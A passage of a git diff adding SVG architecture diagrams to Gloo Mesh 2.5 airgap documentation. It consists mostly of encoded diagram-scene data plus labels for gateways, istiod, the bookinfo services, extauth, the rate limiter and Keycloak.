AwMGU8/TpcdTAwMGU0zey5XHUwMDAzXHUwMDFjJlx1MDAwNNLYXHUwMDFkyDP5XHUwMDAx0alDjUGphVJcdTAwMWNcdHshkDCRKzZ8SqhPWSPpKfVhmodQoXZoLy5LhVx1MDAwZtJne4r08OVtXHUwMDE1lrfrrW73uF1cdTAwMWQ0jouVSrcz+KfTKcKvQEBVX45cdTAwMTfrxq5cdTAwMDWcdsx9i0XeXHUwMDBlmmAgx9vb23JhPXVkSFx1MDAxM6TIXG6prMG7XHUwMDFlUZbHhDiaK4wkYVx1MDAxNLH54lx1MDAxOIRg7CBcbjyPXGJiXHUwMDE0i4DG5Fx1MDAxYvA8XHUwMDA23c6JlJxcdTAwMTLCXHRXPn3JtXBgciB7wFx1MDAwNjVVfrxcdTAwMDEvXFxyjtxNcf+VtTGC1crRQjcySpiCV4WJXHUwMDA0me5qa/2zXHUwMDE2XHUwMDA1d1x1MDAwNNVaI3OMa6Q//nnDitUxgsM05yfFlDYuSWRcdTAwMWGlUYKQT/9H6lxiwjlTXHUwMDEyXGJSI3Xg/Vx1MDAxZo+t1G0uXHUwMDBmXX9cdTAwMGX3l/vn6qJccrbcalFcdTAwMDBs5aDGw/vAr09HYjzGp9MzOS1+JM9p+jiejLpoQ1Q6wpT9MVxy0yVb6P9ITMVa4FxmalqYu6PT1+lcdTAwMDJhk2xcdTAwMWOMXHUwMDE2bVabY0kod0WwfJZsxMJcdTAwMDHjhlxuKU1bTur1vc1K12C+wziLL1x1MDAxNW2LnLhcXL60Klx1MDAxN+e38czdcbXT7E/vz2Pipon95Fx1MDAwYnIowUpJiUw5R4a4V7pcdTAwMTDl6FklYnPkgJHaTlnY/UlcdTAwMTcrhc3e9Vx1MDAxMNeK4mVJqL81UFx1MDAwNFaf61naR2hcdTAwMTGTpY89dIymXHUwMDEz2kX9q+p9l7S0jLaIUUJcdTAwMDbme3PhaFBzXGL/KMJnL1x1MDAwYvv1jWawqUlOXHUwMDE52WPw1u9n+Fx1MDAxOVDDXuWjN2w1Xkjusp+97TePT5r+XHUwMDA21LdDf41MhN0s72FccrurXomHtVxuhzLsMo++/1x1MDAwMz+H9UisnbdKJPZUVc2pXHUwMDAwdIJW8C1cdTAwMDSuZ0Rd+qBcdTAwMWZcdTAwMDNcdTAwMGJlSeawbenHbfj0lcRUwub8UZmqne7wuNmZ+dW+1LG/XHUwMDA07y06/9zTXFxcdTAwMWayXG57XFxcdTAwMTiWXHUwMDE0U0XIXG79SzP8ZZC7aJSv0HNxqPkra79Wi9FcdTAwMGVBmUFWYT9l49ihUiBm/C9cdTAwMWPwu5Ulw8SgbFx1MDAxObJSZfJRVUST2tKP+dvmQ/myry9TibN7ju9cdTAwMWau3zZXpDtcdTAwMWF2V0j44yZ30meNerb/cnrDkolkh9ZcdTAwMWW3MO5bXHUwMDFmn+ZrXHUwMDA1Rbq8Vr3s39VEM75ccrB2WLv2Pewuhl1cdTAwMDYt/Vx1MDAxZlx1MDAxOHK2jfdm9vnqpJR6yj6LSnuIzmNEhiPcL4eswlx1MDAxNWPigaymsitdJd87eJ+iXGZZXHUwMDAz9KNQjtqWftxKXHUwMDE4ilbEXHUwMDE0evnTSvh9PV5dXHUwMDAy9ryF+0JgVSsjansoXG7lM5uJhFx1MDAwZkXpoFTubcJrXHUwMDBmb7JcdTAwMTnrZoh6LdSq68DUL2RDxaRcdTAwMDNQjzBA5ObseZ5ccjFFXHUwMDBlZ+aIS1x1MDAwMWjf1ak084Gl3khcdTAwMTSYhcJcXJNcdTAwMWRW59skXHUwMDE05Wpwcnr9fJWLV6pcdTAwMTdkKFxuXHUwMDA0J9r93etcdTAwMWZf/lx1MDAwZVx1MDAxZIrSXHUwMDE4XHUwMDBle6VmJ3JcdTAwMTEoPvNcbuRv++msYNbSKkxjXHUwMDBlinaFOmbBe1x1MDAxY1FcdTAwMDaXXG5YmFx1MDAxYb9cdTAwMGZAXHUwMDBipudcdTAwMTnc1C8yh7NCzrrm0Fx1MDAwMNfQJlx1MDAxY460w1x1MDAwNDGVQTGlnFx1MDAxMulleKVcdTAwMWNter9cdTAwMTGpseDaXHUwMDFieDLreYGJ3lx1MDAxZvt/SeBJsFx1MDAxMjlaXGI8XHUwMDExXHUwMDE4pDbDgmDQV2RZ4Fx0094mKKFcdTAwMGWG44T0n8qxoixcXD1O1On7+bCQylomJYhcdTAwMDBwJ1xmiNWcXHUwMDEwb5c/glx1MDAxY6JNXHUwMDE3aYa05HCzt1fMQZ1cZtup21xcXHUwMDFluv5cdTAwMWPvL/fPlUVcdTAwMWLDdiOCXHUwMDExzSlA6/DY5aTTeYy1xq2P4zat4n5mevLwYVx1MDAxM22RMVwiNMfI3rKcYCTcfm+7bFx1MDAwYlx1MDAxMcpurTQsXHUwMDFk6bpcdTAwMTTx6Tjl6lx1MDAwMfpTllx1MDAwMWtQilx1MDAxMP2X9M+zR5rMvXNIXFxt3VZzXHUwMDAxy6/IxTZcdTAwMDPEXVx1MDAwYtxcdTAwMTNcdTAwMGJPkcaahC/G81x1MDAxYX/JXFxcdTAwMTfaLJe/UmpUT912XHUwMDFhT7ZQ+OjwMFx1MDAxNsClmiBBZ69cdTAwMGJcdTAwMTZcYmBcdTAwMTNHK6BIXHUwMDAxwlOigFj4XHUwMDEwoVx1MDAxZNZq4T54hIhFptWMIM1cdTAwMTQ91MjXtTxcdTAwMDDv2NdcInCJ2q+xXGLe8XpcdTAwMTY+gHxcdTAwMWKDXHSKlCaUhVeSp/VJrSVcdTAwMWHXyetJalxcXHUwMDE5fFxmr4updORcdTAwMTmMKO5Qwk3XbPNKXHUwMDE2XHUwMDE5jM4pyYDGZVx1MDAxYnBcdTAwMTjxq4vq4TDTWlxyYS12d/BcdTAwMTRFXHUwMDBlI1x1MDAxMeEwsiaHKWu1XHUwMDAxsK7Faq1cdTAwMDFJY9jtd8b3j/VWPP1yLZqdu3zkMypnXHUwMDEx/WBcdTAwMDLYKlx1MDAxMVx1MDAxYlx1MDAxNlx1MDAwYpVSuXtcdTAwMWSGXHRcdTAwMDdcIsZ4jzHOv5/h40RrTjpcdTAwMTeCXGZcdTAwMTLJe/76Nlx1MDAxOPSv7sX4058wR447d6L9MSqSu3rxeqpcdTAwMGabhuRSrFBcdTAwMTGyLONJMq6ksq+Z5M3TxWNq2M9+RJ+DQVx1MDAwMTpE2yxJw8GCU0UoJYJcbrVcdTAwMTNcdTAwMGVcdTAwMGWnI7FiJuCZ/mEw9MCVpLtU4GJJXHUwMDFlgVx1MDAxMVx1MDAxMN1cblx1MDAxNXnQW2v8Mr6NZ1x1MDAwNrRfXHUwMDE1/LiOssPrw2AxqpA2XHKDwZBaXGJSlIp/XHUwMDAxi/lkPPrAUFx1MDAwNYJAwlxc/ihcdTAwMGWjXHUwMDEx4TC6QdihdrnaPKpMUIZcdTAwMDCRhjf35Gny8fXy9Tr5OOpcdTAwMTTKd5f39fR7O+rHPVx1MDAxNDmIf15zTFx1MDAwNpwlXHUwMDFjSoG9TON07Vwio/0nykhcbpsn+Vx1MDAxZeMrgoBp/H74enWHziZ13ms+XHUwMDBmTi9cdTAwMDa90tBcdTAwMWaYRiE68NDyZHa0vIc17K7yZFx1MDAwZWtcdTAwMTX+8GGXxUj6P/BzWI8g3HUsI+gke3aqXHUwMDAyVKe4/DyYXqpzg1x1MDAxNzSi2Fx1MDAxNrQuXHUwMDBm0rqKOmpLWnc7RWAxQHCm/qySWlx1MDAwM4CNlWK/cnTTrfhD3Vx1MDAxZFx1MDAwNTQugZGLXHUwMDAweG6e60NhSa1uWXOYXHUwMDA2y6xXOPnI14ZTnHwslN572Vq2krnKTdVaSeNfmIFcdTAwMDO0ZIJRfmXFzZ97UMpcdLAsXHUwMDAympOEYr1ZXHUwMDFi4i0n4HAkXHUwMDE5lpREM1x1MDAwMYckMv3a1cnksvdQSt5Pb4S4mNY2V6U7XHUwMDFh9jtcdTAwMDHnXHUwMDEwd+172Fx1MDAwM1x1MDAxYXZcdTAwMTlm9X/gXHUwMDFlMauU9qhcdTAwMWKptMKYqPAnXHUwMDFlwetcdTAwMTldyEqDtKPQXHUwMDBl35J23Fx1MDAwZWTllMDGiD8q/Vx1MDAwNlx1MDAxMODRuDlsXHUwMDFjnXfeu/6NjXdcdTAwMDVal1x1MDAwML5F0Low0/VhK1hSNtZcdTAwMDTUipRcdTAwMTIr5I1Xz2R6XHUwMDFjXHUwMDFm6vv+Tbo3md6cXHUwMDE0psLWnS4yXHUwMDBlXFxcIlx1MDAxZPyLK11tq2dsyZiJryZISqKZIHSzYJ3tti6QXHUwMDFjMaWp3l9nkSCld1tRXHUwMDA1naynq5e9OqlUe5nk7ftFdNHloTlwd7S8O1x1MDAxYfZBZ7Wi6u7l9fmyX1fj2OhtbCmDv9IqZJrouC1cdTAwMWJP9y/3V7l30TpcdTAwMTbVRmtcdTAwMGLj3qGyrFx1MDAxN1H/XHUwMDAyP1xm74uJXHUwMDE4SuC3zlx1MDAxNsZcdTAwMTUnIz3J3ORq7cJcdTAwMDdcdTAwMWRcdTAwMTVj+q1xwrcwbmKUPc/dxFx1MDAxZS6fT8SkSj7kS/PSsm3/Yio7lGGXwXf/XHUwMDA37lx1MDAxMb4rZfc4I0WoUZzh4XvwekZcdTAwMTe+k1x1MDAwMJjAlYNDwYQvauKgJVx1MDAxNkrwXHUwMDFkpu5GXHUwMDEwvSda3e5RpjpofLnHeVx07l1cdTAwMDTv81x1MDAxM91cdTAwMDC7M6vLWTNOXHUwMDAxvKtcdTAwMTWCnESvnunU4qfTbmFy2SxeTVpvXHUwMDEzXHUwMDBiW1x1MDAxZVx1MDAwNHbnRMOblCNu+j7wXHUwMDFkZbKs53BGmjCw9mU0sXv8Ma6oyFx1MDAxNV8rZ82n6b3MXHSSL26uSL+x+06X97CG3VnwxUGtwqFcZrs0SsL3gXuErDogSIJIXCIpXHUwMDE2K/Q8XG5ez4OErJxcdEeE0Y5fhFilVFx1MDAxNFx1MDAxM/VHuZtTg2Gz++VgdVx00FtcdTAwMDSrn5NcXItcdTAwMTGVtFZ8UlhRxalcdTAwMGVvOp7m3l/w+Uf8XHUwMDA0Np2knzBcdTAwMWGdqFx1MDAwMzj54cj5zYVELFx1MDAwNishXHUwMDFh7uRn02AlV2Lubz6k3nRcdTAwMTfEmMZcdTAwMTRFXHUwMDE0mj68Zc+L+cZTJpWrd4X6QJPCyzRcdTAwMWNs2ERcdTAwMDf58nnoqk+X1Xq148/krlx1MDAwNImvXHT3/zmX9ZQqtyeuXHUwMDAx6SpQulwiPDM/5PDgvFu8yWdcdTAwMWaL49fHbDHRbUW/eoJkxDHtp0w1XHUwMDFkQuaVKlx1MDAwMf50c/ruXHUwMDAyXHUwMDBmpU/yqVx1MDAxZi9zRFx1MDAwNaZ6f3W/g3i59lJcdTAwMWK8dF/vxJC9XHUwMDE3Lmmym0dxSyn96PDyWas5tyP75OWfc1x05GV7pTZGrNysTHUypWn4PPLgvYyk90hLXHUwMDEzryi0lIJTtlBcdTAwMDZcdTAwMDVheI9cdTAwMGJlgiAklUE9QTc5+CWm7I2QmmOMXHRWLonxWZjRwdL4lLHSJkRRe7icIJi+KSXxL2mjZauJXHUwMDE2rC+O3M2yTPtLpbnUgC+xiS5y3fWzXHUwMDE3XHUwMDFmc4gggiolpMKmLsnPOyyF2lx1MDAwZbau0rGdxszloa7P8f5y/1xcXHUwMDE1Klx1MDAxMGHNv5VcdTAwMTIwMFx1MDAwZm98J6tcdTAwMTcqL29cdTAwMWHTi/xNq5SaPufLp+P1cII1XHUwMDE4ulJcdTAwMWM0qlsus1x1MDAwNCTGXHUwMDA0omZ94XWxVJpiXHUwMDBlglx1MDAxNTdcdFx1MDAxYlx1MDAxNFxm8F15p33yb72VXoEyXHUwMDAwrpBcdTAwMWRC/q/Lv1xyrciLo2FcdTAwMDNcdTAwMTTqtPpPZ9ioXHUwMDFl9atvo+rAX7F/eTlWy9xcdTAwMDI5cclJXHUwMDExs7EjZlx1MDAxY/Sbkjw8cs+WMne52Fx1MDAxMzqPX02eXHUwMDFm8/3XXHUwMDE33XuKuLLHUjv6k1x1MDAxZOfVPaUmn2hr7Ljd7Fx1MDAwNKZcdTAwMTBcdTAwMTIgo6OZnKBcdTAwMWFcdTAwMTdZ8lxceW6op9T0oVa4XHUwMDFmsOSrP4j/PitafdxcdTAwMWQt7/ewOzyC2lWU12Gt7qFcZrvsaMv/gZ/Delx1MDAwNOzuXHUwMDEzgIn9bGvWvVx1MDAwM67w8Dp4QaPqhjP4OUCdc+LwbanzraRTKKBcdTAwMDCt5Vx1MDAxZZX4XHUwMDFlzrcuqpNyq1t89Vx1MDAwNdU7a79cdTAwMTdcZk5cdTAwMTeh9u85XHUwMDA28mKAXHUwMDE3zVxurCXGmislw6dPjNi4Mnm+eWW343g/e90+ezvLdqNv6Vx1MDAxMobtvEgoZ3O8KDfhRXuhKeTDh8rb04RyzJSAfTlQUzekr1xmXHUwMDE3k+nTq1x1MDAxOLs+q1RT5IXmWO8s5tJu7v5cdTAwMDGYgHUomDnR4IK4XG6nXHUwMDFk/XKWUVx1MDAwNymkpNZmglhR+vNcdTAwMDaLr8w2qcFcdTAwMDfFXHUwMDE3tWL5XHUwMDBly1E9Kcbv5WuXI2d+UoSaNlxusFmEwNZcdTAwMTJcdTAwMWZcdTAwMDdcdTAwMWVZOqk13HSLjP6lnjpB/jP3q1j6XHTs3iz4XZGlXHUwMDFmcTHK7HeqPj/yl/vn6qKQW2GJqUrCKNLho1GleFXpt4fcvS7m9cOTjMVf2snIi0KlMVx1MDAwZlx1MDAxMoVcdTAwMDJ9gSiUfpBEc+lo1+Uq9/er35owneF2XHUwMDE5gVx1MDAxM1x0yVx1MDAxOFpcYplusoxLMZOOXHUwMDE05IyPXGaijqtcdTAwMTeGXHUwMDA0kFx1MDAxNyxcdTAwMThcdTAwMGb3XHUwMDEwgfE5qVx1MDAwMZS87CNcdTAwMTTNPcJDfytKXHUwMDFka3iRsKavXHUwMDEyXHUwMDA1XHUwMDAyR1x1MDAwMk2HXHUwMDE2OpcjieRl4lx1MDAxYVx1MDAwNq1ePmSrjD+MclE3hVx1MDAxNJfIoZIxrqgkhC+EJGCQSFx1MDAwNCHCNaNcdTAwMDaR2lvKYSVYMbjhVKApRPzaynmDXHUwMDEygJew4O5cdTAwMWV0h2tcdK3a9+1o3O2/2tu+fXlcdTAwMDCBd1rrqX6gMnv7caGIaYPAwvPhe6vIPmpJys9cdTAwMDbX9GP0fEJcbomyhVx1MDAwZiNyvqCEJFx1MDAwZSh1QFx1MDAwMCDq6EKtXSArXHUwMDA3a1xyeoRRXHUwMDEzkmNX/CGY0Fx1MDAxYU0guCO56fWuQVx1MDAxMmCmfcpbY0RcdTAwMWRcdTAwMDJ3gNCg8CSOPDiAUqkwdkO1g4ZcdTAwMDH2Tkk2gDBttcpcdTAwMGbNWP2+1H6e1PPlbOpucutcdTAwMGZcdTAwMTCoXHUwMDE2XHUwMDAyRKpUhMG+alfLol9cdTAwMDBcdTAwMDE7SmnJiTaxJLD/v9TeRkbK3mCAlcDM5SWtkCr+XHUwMDA3z1x1MDAwN7eTtomgXHUwMDFmTcmQcKgtvpYgJVxcoJu74lx1MDAxMn5cdTAwMDNmpJxcdTAwMWZ9JGav0ufMnINcdTAwMTb9vENxXHUwMDExIFx1MDAwZbaB5bdi32wg5HbM879sXHUwMDBlXHRcdTAwMWIjXHUwMDA0V1x1MDAxZVxm91x1MDAwM75ZVYqBdlqSUK61Rfkyxz3rSJgth+ewuVx1MDAwZsB3cj7JXGZel1x1MDAwZUD0XHUwMDAy9VL3eJRcdTAwMTLHNVx1MDAxYVF06YCgqlx1MDAxZNdcZqica6/o4YSl41nZy1xcjFq/r4euQorK5VwiPvVYvyo9N9tx0lx1MDAxZSfUSJXLXHUwMDE3TeQn4k3LT45cdTAwMTDjQlwiTiRTkrlcdTAwMTbjp5DXXHUwMDBlYVJRREDAc0NFXHUwMDFlXHUwMDE5XHUwMDFmSu9cdTAwMDS34Z7TO0wxsGw4RXxW4JQwz5ykw4XWsHem+LhUyNvxc1x1MDAxZK3yQ3z/9XNP/i72erkhsM/vL/X3e7M6PrVcdTAwMDdE/PVzXHUwMDAyRrxVzVf5n//963//P6lZo3QifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientauthorizethe requestKeycloakhttpbin workspace \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg new file mode 100644 index 0000000000..a4287e3dea --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVdcItuy7vv6XHUwMDE1jjqvm7yzb86botJcYlwi2CDcdVx1MDAwN4NOWulcdTAwMDXxjPPfb0yqSlx1MDAxMshMkk6TKnLvjbtcdTAwMDQjJzNnRHzR/88/Z2c/RtNe9cd/n/2ovpeL7UZlUJz8+I/5/bg6XHUwMDE4NrpcdTAwMWR4i8z+Pey+XHLKs0/WR6Pe8L//z/8p9nrW/K+scvf1519W29XXamc0hM/+X/j32dn/zF5t91x1MDAxYVTLo2Kn1q7O/mD21vx2UrHl3952O7NbY1wiXHUwMDE1XHUwMDE3XHUwMDFjXHT6+YnG8Fx1MDAxMu43qlbg7Zdie1idv2N+9UOOlZg+15+6OpMp4Fx1MDAwNOKVbjQ9v+1Lo92+XHUwMDFmTds/v1ixXFx/XHUwMDFi2Fx1MDAxNjVcdTAwMWNccrqtarZRXHUwMDE51c3dl37/+XfDLmzB/K9cdTAwMDbdt1q9U1x1MDAxZJpcckCfv+32iuXGaGrooPlvf+6C/XPv8C8lKLOI4lx1MDAxMrPZ6+eb5s8p5lx1MDAxNmNcXHNNXHUwMDE0IYTxpWWFu+3uwCzrv5jmiMv5wkrFcqtcdTAwMDar61TmnyFElapi/pnJry9cdTAwMGKUrV93N69CzW9TrzZq9ZH5jMLWfJHwOn8sw+rsiVx1MDAxMKRcYsJcZsn5O2ZcdTAwMDG9WGV+On7SVJdcdTAwMGbZVJM+Xby1efymXHUwMDFmKTTuXHUwMDFlfvx6//8tb3y9OOj92uBcdTAwMWaz72P7juafV8sn0H5cbm2H4yMzvVx1MDAxZSTDscwoXHUwMDFhylxya9ejyeT5+pPWwpEtXHUwMDBlXHUwMDA23cmPz3f+9z9edMOVdGHwkuj3WDzRSyanLTp8XHUwMDE2/uiufOW3XqX483hjwbRQWDKk9JxF2o1OXHUwMDBi3uy8tdvz33XLrTlH/GNb8GasqIQ7K1wihblcdTAwMTbwdH2z4qhcdTAwMWV/nZy/J6bRSWHQXHUwMDFjtsLjq2v0dayIt2RFRiwmXHUwMDA11si8KrnIi0xYXHUwMDFjK42I0JgxXHUwMDBmXkRKvvCSNy9iUlLKiVx1MDAxN5GyiO1iwoFcdTAwMTeJsLT9Ysu8qFxmXHUwMDFmckTxwVhxaP6xJSuW0336kruOZmqVay3uXHUwMDFlnlx1MDAxMiyR2lx1MDAwMyuGUlx1MDAxMZlpIZJcdTAwMWZWwq1SXHUwMDFjRd/wOHyMrMilOytKKVx1MDAxNNHcNycmXHUwMDEzN4NO47w4vH9cYkXbpVqnXcf3gedEJZFFQftLPXtdUYqSYUyYxlRcYkFcdTAwMGWiXHUwMDE0MSFogcuUk1JcXOE8zFx1MDAwNUJcdTAwMTRcdTAwMTEtXHUwMDBmxnq7aMFG8/E5fkGT43ohXHUwMDFlXHUwMDFmplx1MDAxYrnq5KO9XHUwMDA31ruU3YzMX3VahWaqXHUwMDEw4sOXV6L0MbKeXHLXLLGeklJLwpT2zXrtx+tRt3s9fmrpWnSQZtcvnUjgWU9jie2sp1x1MDAxNnmPKZ+89/1KXHUwMDEwOFFcdFx1MDAwMKv6YJz4TUowUFx1MDAxYyNcdHbjXHUwMDE4glxioYT6Z5hoTvVcdTAwMWZvxrXKezzWyYWRvKZcdTAwMGYy8Fxmw7G2XHUwMDAwakkmZq9kgWFAXGZaxFx1MDAxZsPMLk+GXHUwMDE5XHKKnWGvOIDztco0SstFhljlXHUwMDE5pYglbFx1MDAxN19mXHUwMDE54DUpMcfBNOFE7e2ynn16zzWL/VhcdTAwMGVcdTAwMTcuXHUwMDBihXO1XHUwMDA35TUsPupcdTAwMTRuNzIvLJW+eFx1MDAxMDR1S/t7oLuDyVx1MDAxOShcdTAwMTbn1Fx1MDAxZI9cdTAwMTKqqKZcXErfTF7JVNPtSmR4XHUwMDFkvyhcZq9QXGKfd0Qt6ExcdTAwMGWQnFx1MDAwN4LJXHUwMDE1Xc/keJmtNaegyJn6PkxcdTAwMWGMg6yocD3ImGFOtNhAWyVvy0mRmk7L70J86M6LeJ1e3Vx1MDAwNv4gKy0s5WZZMXY86Fx1MDAwZWnG4UhcdTAwMWZOVVx1MDAwNdHF8aeoXHUwMDE0IVxc7SymXHUwMDE5UVxiU/9cdTAwMWGldnfxOHh8eU8+1FqXd7XndknEU1/HiNv6/fFMoygkkVx1MDAxMEov2lmCYoszIVx1MDAxMFfwtpaHcfxjKdhcdTAwMDKb0VVOpDZcdTAwMWTz28eBXHUwMDA00lx1MDAwNFPKXHUwMDBmxnu7wMSb+E08d1x1MDAxMZaF5nu+2UuGp1x1MDAwM8GujpBHOOduPKI4xYIq5p9HknX6RC7yuYvk9UDmapnrt4tBNujKSlx1MDAwM650R12CK7+oa1x1MDAwN20lXHUwMDExWoe4MFlBXFxCY1x1MDAwMiqWnHxcdTAwMGZcdTAwMDfVXCLUNWYlpYmBKOY/ZJVcdTAwMTaYVlqj2kRXLiOp27tkf3j7cFx1MDAwNFx1MDAxY6LcOVx1MDAwNFx1MDAwZaBcdTAwMDVcdTAwMDaaQlx1MDAxY1x1MDAxOElcdTAwMTJcdTAwMWL+3zOHOFx1MDAwMDhcdTAwMDB5yH6txIux1lgrzlx1MDAwMlx1MDAxYaRK1sehRDjZqIYuXHUwMDFmi1x1MDAxZrX3RCHRXHUwMDFmXHUwMDFlIY9w6WrzXHUwMDAwemb+syvqtFCeZuSlTlx1MDAwZlx1MDAxMyn2Uq6nXHUwMDEyaeHCXHUwMDFmS+d8kTvY13FcdTAwMDfWzJ07qFx1MDAxMj6tXHUwMDFkJUhVl725o1RlpUrJXHUwMDAxY1x1MDAwMcRyYYRPZuGrXHUwMDEwXHUwMDBiTFx1MDAxYoZcdTAwMDBnXHUwMDA1kzkuXHUwMDFhyUTkgZGOjpWKrWjuLl3UXWfmXHUwMDE4Vd9Hfq1cdTAwMWI5apSG1Vx1MDAwZkXiz4328+tLqPpM2Vx1MDAxZaymq0I6jJMsPumWkvjueaRvou/3e6BbXHUwMDFll1wi8rJz0Xxo0HtcdTAwMTWdPjTDV6U90D3Q9p7IXHUwMDFhXHUwMDBienh+TlLTiyd1UcelVu0pVbjHwX1mydbNy+1r+uNjejM5r7zmOvSug3Za7sIq/uP3i3yfdltYpz/FRlx1MDAxMKdKS+Q/S8L76Vx1MDAwNVx1MDAxNfxcdTAwMDGE8lBvXHUwMDA2/PlSby+za3unNCirVZ3G5lx1MDAwZY3fOk1cdTAwMTHGXHRX8vuMon1cdTAwMWXa+eHodkb3jY+fXHUwMDA3b+G318XXRnu68Hxnp9kkYnRqXHUwMDAzWPTZv51cdTAwMWGsY1Kc2rd/WIXbz1x1MDAxMNriXHUwMDFmnrdcdTAwMWK1zkzxwFx1MDAxN6pcdTAwMGVcdTAwMTa4YtQoXHUwMDE3259cdTAwMWZ4bVQqdjxYhtVcdTAwMTSB5iDmXHUwMDA3y3VcdTAwMDeNWqNTbD8sLfb3UrdHo1x1MDAwMrv6NDBXWFOklH+nxl0jme5/vIc77dFI9oudu+iNdHNqXHUwMDA0XHUwMDA3klx1MDAxMneeZYpcdTAwMDRcdTAwMTeSXHUwMDEyathcdTAwMDSpYEJSXe9f3vP2/aCPXHUwMDBik3YjeZkvjt5OkHRfkPRA23sgsvipU1x1MDAxNuWnQqlZzYbReSR9gSa3f90uXHUwMDFjXHUwMDBi2XWI1PmGwUOkgrnnSWBBiDZBV9/KzXubg1x1MDAwYkk9PPZM+fXYf1x1MDAxMSQliDGT0v99QeTgINJqcTiaVIejb4Kka7DcMiT9XFzt7phUIXe21aZcdTAwMWWK2Vx1MDAwZsjaylx1MDAxN1x1MDAxMitexCOT24/qy6TWTmVCsfx4XHUwMDFiTPqVdS9cdTAwMDBcYsEuo1xiMLi0p67//HtcdTAwMTNn00IoxIQmxJZPu0V2075BqYano6RcbqifNJMqXtW60e6oX4/IcTvLXHUwMDBi9cTNXHSU7lx1MDAwYpRcdTAwMWVoe4+LbFx1MDAxODVcdTAwMWZcdTAwMTTX6U4jP1x1MDAwZVfuu7m3i8zktLlcdTAwMDElu1x1MDAwZes63zB4WFdx17R/ylx1MDAxMFx1MDAwMVx1MDAxY4j960zvXVx1MDAwZSjUXHUwMDA1ram9tKbklpxrTaKWXHUwMDE2dmCsS1Yr05RQVEqCXHUwMDBll1x1MDAwNXw8YLcxXHUwMDFjNbpcdTAwMTVHgIvlwqf3XHUwMDA2cNdcdTAwMDDDXHUwMDE1n+vPXHUwMDE17lx1MDAwMGuxa4olXHUwMDA2VGtcdTAwMWOt/pNjdHxQXHUwMDE5JqIjXFzQr/fDp8Hje4SVgo1qNUHaXCKcwumaveIl/lx1MDAxNNhiSEpcctyLKKU75ey7Z1huhWq5gFx1MDAwNTPEglx0alPo4ryJXHUwMDFhtfxccnl6REROabPtUkN6XHUwMDAytZvTPdD2XHUwMDFliOyTTmtF1UOzlU9cZmpqcvnWnzT3sFx1MDAwYslcdTAwMDZcbr3Keu6x+Xh7P1x1MDAxNu2QqNb3Uaj8gMqyVkSDXHUwMDFi/DR6LEYuUVx1MDAwNPc7e6B7z25Dw0mt1E3etVx1MDAxM8nQa+ElS1x1MDAxMnug+9FcYvNcXCWmiySTUWxcdTAwMTjrXHUwMDE20lx1MDAwZpd/3Sk7XHUwMDE2suvQvfNccudkV0T3d6F75o5cdTAwMWQoVppcboH9h2m9tzmg8F5cdTAwMTPMPOGDsPRcdTAwMWM+LFx1MDAwN5C/PrlcdTAwMDLsLc5cdTAwMTklJ3R/9iPS7nbPktVh/ezfTrG2sK1f4Mleg5WXgf58sT+Xulx1MDAxNcNcbtuJWEmGUnCWXHUwMDEx1/4rXHUwMDFis29ccpK5bl+95uXl7bjUuk2WasWgMyxGjEtLUFx1MDAwNsDfvNoyTVxmXHUwMDAxzojFXHSYwCZriirk7sVcdTAwMDZDmVx1MDAxNb1z4T05lnCHVjG2ytPfXHUwMDFjKzAjfKFEIUgoP1iVho7yQC381kNcdTAwMWWUut1Wo/PSPZt0XHUwMDA3LXhu5aqjQCB84S/9XHUwMDBihFG35yZcclx1MDAxNr7TMus7rMuT+39utFx1MDAwM/tjjF0rYSjihC5kkq9jf+9HXHUwMDFmSGNcdTAwMWaYn2rD/IxpLbRE8+2YMT/HXHUwMDE2iFx1MDAwNYokl6atpLu69sH87sY+2O1cdTAwMTZBnCGpJNe2qrC5W05bSCsmYVx0XGJcdTAwMDP3I5vb4ZftXHUwMDBm3KHIXHUwMDAxi2K+slTfto7iYHTR6FRcdTAwMWGdXHUwMDFhvDmXN787iP5Und5ccmBmjF5+m9XcWlRcdTAwMDL4YohjXCKFkLZcblmzZcWe2WtiXHRAm4hqKrUgVPz6wCd4/1HtVNavybvM37YmbMEhJIRyXGZ6RlxuMu+JYV9cdTAwMTKjXHUwMDAyUUkkJkrCWVlZU7s4XHUwMDFjhbuvr41cdTAwMTFs/V230Vx1MDAxOS1v8Wwvz40oqFeLKzJcdTAwMDa+k/29ZZnRM1x1MDAxNFx1MDAxN8/S/P+dzblq9o/P/////uP46ZDriTfX6lmf0/vH/nPjzG9Cln87XHUwMDA3O0zB/nPtX9o9XVx1MDAwZiPpxFx1MDAwYi9kmuX0XHUwMDFiivYznddJ4KWd8MhcIlx1MDAxNVx1MDAxYe2xjYNr11jmXHUwMDAwc+SKPDNccvGIQPZmQ3+ERNtcdIiEXlx1MDAwNvBBYNXhv51O8bXqjknEtkbKrpjEeYnb8atwrdRcdTAwMDBtXHUwMDBi0pBy/7HC3NV58jr1Ulx1MDAxZcmrq5TOt3t3g2g98OwqscXd2FVcdLrHOnZXdqVcdTAwMGWV66vsqlx1MDAxOeVcZlx1MDAxZjJIuEtrh2BcdTAwMTXl7klcdTAwMTaYp1x1MDAxOGxR4LTC7VxmXHUwMDE1e1x1MDAxYtVlx1wiwDhMleL+q7a8+1x1MDAxOFx1MDAwNFVcdTAwMTZcYmlhrmatXVx1MDAxNF3q+1wiKbVcdTAwMTQjYFx1MDAwMSiMXHUwMDA0t3dZ36MswFJYXFxrplx1MDAwMb4xJm1cdTAwMTU3n5JcdTAwMDGBSEJIczClXHUwMDA0SC9gjFVcdTAwMDeGYmB0XHT6jd1cdTAwMDK/wlZZRtc+LFx1MDAwNs9eK1x1MDAwYlZcZlhcdTAwMGLC9Fx